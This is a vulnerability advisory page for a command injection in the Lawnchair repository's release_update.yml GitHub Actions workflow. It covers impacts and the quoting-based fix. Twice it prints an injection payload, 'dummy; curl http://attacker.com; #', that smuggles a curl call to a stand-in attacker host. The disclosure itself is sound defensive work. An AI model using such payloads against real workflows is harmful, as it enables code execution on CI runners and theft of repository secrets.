CVE-2026-39866
Command Injection in Lawnchair Workflow Allows Code Execution
Publication date: 2026-04-21
Last updated on: 2026-04-23
Assigner: GitHub, Inc.
Description
Description
CVSS Scores
EPSS Scores
| Probability: | |
| Percentile: |
Meta Information
Affected Vendors & Products
| Vendor | Product | Version / Range |
|---|---|---|
| lawnchair | lawnchair | to 15.0.0 (inc) |
Helpful Resources
Exploitability
| CWE ID | Description |
|---|---|
| CWE-77 | The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component. |
Attack-Flow Graph
AI Powered Q&A
Can you explain this vulnerability to me?
CVE-2026-39866 is a command injection vulnerability in the GitHub Actions workflow file release_update.yml of the LawnchairLauncher/lawnchair repository.
The vulnerability occurs because the workflow improperly handles the artifactName input parameter by directly substituting it into a shell command without proper quoting or sanitization.
This allows an attacker to inject arbitrary shell commands. For example, by providing an input like 'dummy; curl http://attacker.com; #', the shell command executed includes both the intended move command and the injected curl command, enabling arbitrary code execution within the GitHub Actions runner environment.
How can this vulnerability impact me? :
This vulnerability can have several serious impacts:
- Arbitrary code execution on the GitHub Actions runner.
- Potential access to repository secrets and credentials stored in the runner environment.
- Ability to exfiltrate sensitive data.
- Risk of supply chain attacks through compromised workflows.
How can this vulnerability be detected on my network or system? Can you suggest some commands?
This vulnerability can be detected by examining the GitHub Actions workflows in the LawnchairLauncher/lawnchair repository, specifically the release_update.yml file. Look for unsafe handling of the input parameter artifactName in shell commands.
A practical detection method is to check if the workflow allows arbitrary command injection by running the 'Release Update' workflow with crafted inputs that include shell commands.
For example, in the GitHub Actions interface, you can trigger the workflow with an input like: dummy; curl http://attacker.com; #
If the workflow executes the injected command (e.g., performs the curl request), it confirms the presence of the vulnerability.
There are no specific network or system commands provided to detect this vulnerability outside of the GitHub Actions environment.
What immediate steps should I take to mitigate this vulnerability?
To mitigate this vulnerability, update the release_update.yml workflow to properly handle the artifactName input by using environment variables and quoting to prevent command injection.
Specifically, replace direct substitution of inputs.artifactName in shell commands with an environment variable, and ensure the variable is quoted.
For example, use an environment variable ARTIFACT_NAME set to ${{ github.event.inputs.artifactName }} and then reference it in commands as "$ARTIFACT_NAME".
This approach was implemented in commit fcba413f55dd47f8a3921445252849126c6266b2, which patches the issue.
Until the patch is applied, avoid running the vulnerable workflow with untrusted inputs.
How does this vulnerability affect compliance with common standards and regulations (like GDPR, HIPAA)?:
The vulnerability allows arbitrary code execution within the GitHub Actions runner environment, which can lead to unauthorized access to repository secrets and credentials, as well as exfiltration of sensitive data.
Such unauthorized access and potential data exfiltration could impact compliance with data protection standards and regulations like GDPR and HIPAA, which require safeguarding sensitive information and preventing unauthorized disclosures.
Additionally, the risk of supply chain attacks through compromised workflows may further threaten the integrity and confidentiality of data, which are critical aspects of these compliance frameworks.